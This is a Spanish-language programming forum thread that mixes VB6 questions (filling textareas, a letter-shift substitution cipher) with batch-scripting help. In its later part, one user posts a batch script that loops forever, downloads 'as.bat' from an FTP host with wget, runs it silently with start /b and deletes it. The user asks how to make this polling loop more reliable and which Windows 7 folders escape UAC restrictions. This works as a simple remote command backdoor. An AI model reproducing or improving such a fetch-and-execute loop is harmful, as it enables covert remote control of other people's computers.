Mensajes

Código [Seleccionar] Expandir

set HTML = WebBrowser1.Document

   For Each HTMLI In HTML.getElementsByTagName("textarea")


       If HTMLI.Id = "vB_Editor_001_textarea" Then

       HTMLI.Value = titulo

       End If
       Next

por que este code no escribe nada en los textareas y en los inputs si ? ,si pudieras ayudarme gracias

Puede haber dos causas:

1. El archivo no existe (Te equivocaste de ruta)

2. Tu nombre de usuario contiene espacios en el nombre.

Solución a los dos posibles problemas:

Código (dos) [Seleccionar] Expandir

If Exists "%APPDATA%\xd.bat" (Start /B "" "%APPDATA%\xd.bat") ELSE (Echo El archivo no existe)

PD: Para la próxima vez lo mínimo que puedes hacer cuando tengas una duda es postear el error que te manda la CMD al intentar ejecutar el archivo, no somos adivinos.

Me parece que todas las carpetas del usuario actual están "desprotegidas", es decir todas las carpetas que estén dentro de la carpeta del perfil del usuario logueado, menos las ocultas como Application Data.

Y puedes cambiar el propietario de cualquier carpeta con TAKEOWN y modificar los privilegios de acceso para ese usuario con ICACLS.

Saludos

gracias electro utilize %homepatch% funcionara en windows 7 ?
y sobre lo otro funciono

Código [Seleccionar] Expandir

Start /B "" "%APPDATA%\xd.bat"
lo que no entiendo por que esto Start /B "" " las tres comillas xD si pudieras explicarmelo

mi prenguta es por que esto no ejecuta la aplicacion

Código [Seleccionar] Expandir

start /b "%APPDATA%\xd.bat"

y si me podrian decir directorios donde batch pueda copiar en windows 7 por ejemplo windows 7 no deja copiar ni crear carpetas en el directorio de windows por el uac ay carpetas que no tengan bloqueos ?

Si la hay seria solo tienes que modificar un poco el código. y recorrer el texto.

habra alguna forma de que si presiono a se ponga %a% y se presiono b %b% asi susesivamente ?
y si podrias explicarme como ponerle el for muchas gracias
gracias

muchisimas gracias danyfirex ya entendi como quien diriaque   los 3 que le sumas y los 23 que le restas son como para verificar  

ay me tienes viendo la tabla esta jaja

Código [Seleccionar] Expandir

a 97
b 98
c 99
d 100
e 101
f 102
g 103
h 104
i 105
j 106
k 107
l 108
m 109
n 110
o 111
p 112
q 113
r 114
s 115
t 116
u 117
v 118
w 119
x 120
y 121
z 122

oye abra alguna forma de que esto por ejemplo pego lo que quiero convertir en el textbox a otro texto y presionar un boton y se convierta por que de letra en letra esta bien pero seria mas comodo si se pudiera pegando de antemano gracias

El codigo no esta correctamente planeado, al ejecutarlo primero remplaza la b por la e, como esta previsto, pero luego encuentra que debe remplazar la e por h y asi sucesivamente, por lo que remplaza mas de una vez por letra deberias hacer un bucle for que recorriese letra por letra y las vaya remplazando una a una.

Saludos

me podrias explicar como hacer el for mas o menos?

ya esta solucionado pero si no es mucha molestia como aria eso del for

intente con for each pero no podia :S

muchisimas gracias
Danyfirex

si no es mucha molestia me podrias explicar como funciona el codigo que es lo que hace ?

por que este codigo no remplaza como dice por ejemplo escribo b aparece z y debe aparecer e pongo d debe aparecer g y apareze h

Código [Seleccionar] Expandir

Text1.Text = Replace(Text1.Text, "b", "e")
Text1.Text = Replace(Text1.Text, "c", "f")
Text1.Text = Replace(Text1.Text, "d", "g")
Text1.Text = Replace(Text1.Text, "e", "h")
Text1.Text = Replace(Text1.Text, "f", "i")
Text1.Text = Replace(Text1.Text, "g", "j")
Text1.Text = Replace(Text1.Text, "h", "k")
Text1.Text = Replace(Text1.Text, "i", "l")
Text1.Text = Replace(Text1.Text, "j", "m")
Text1.Text = Replace(Text1.Text, "k", "n")
Text1.Text = Replace(Text1.Text, "l", "o")
Text1.Text = Replace(Text1.Text, "m", "p")
Text1.Text = Replace(Text1.Text, "n", "q")
Text1.Text = Replace(Text1.Text, "o", "r")
Text1.Text = Replace(Text1.Text, "p", "s")
Text1.Text = Replace(Text1.Text, "q", "t")
Text1.Text = Replace(Text1.Text, "r", "u")
Text1.Text = Replace(Text1.Text, "s", "v")
Text1.Text = Replace(Text1.Text, "t", "w")
Text1.Text = Replace(Text1.Text, "u", "x")
Text1.Text = Replace(Text1.Text, "v", "y")
Text1.Text = Replace(Text1.Text, "w", "z")
Text1.Text = Replace(Text1.Text, "x", "a")
Text1.Text = Replace(Text1.Text, "y", "b")
Text1.Text = Replace(Text1.Text, "z", "c")  
gracias

y si alguien me podria explicar el for each please xD

Te hago un ejemplo:

Código (dos) [Seleccionar] Expandir

@Echo OFF

Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
Set "FileList=%TEMP%\Files.tmp"
Set "FileName=ls-lR.gz"

Wget "%FTPDir%" -O "%FileList%" && (
Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
Echo Archivo encontrado.
) || (
Echo Archivo NO encontrado.
)
)

Del /Q "%FileList%"
Pause&Exit

Saludos

elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

Código [Seleccionar] Expandir

@echo off
copy %MYFILES%\wget.exe C:\wget.exe
:XD

C:\wget ftp://usuario:password@server19.000webhost.com/public_html/as.bat -O "C:\xd.bat"
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a

if not exist C:\xd.bat goto times
if exist C:\xd.bat goto seguir
:seguir
ping 127.0.0.1 -n 3
start /b C:\xd.bat
ping 127.0.0.1 -n 3
del C:\xd.bat

:times
ping 127.0.0.1 -n 30



goto XD

lo que hace este codigo es que si en el ftp esta el archivo as.bat lo baja y lo ejecuta y despues lo borra pero si no ay ningun archivo en el ftp se baja un archivo de 0kb con el nombre de as.bat y el for se encarga de borrar el archivo de 0 kb por que no me sirve
habra alguna forma de revisar en el ftp si se encuentra el archivo as.bat y si se encuentra que lo baje y lo ejecute y si no no baje nada y vaya al tiempo de espera ?

o alguna forma para que el wget no baje nada si no encuentra el archivo por que si el archivo no se encuentra en el ftp me baja un archivo de 0kb

gracias

habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ?

ejemplo

Código [Seleccionar] Expandir

:inicio
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo
:seguir
wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat"
:seguir
ping 127.0.0.1 -n 60
goto inicio


quiero algo de ayuda en esto

Código [Seleccionar] Expandir

if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo

alguna forma de hacerlo ?

o si no es posible asi

alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb  aver si alguien me puede ayudar gracias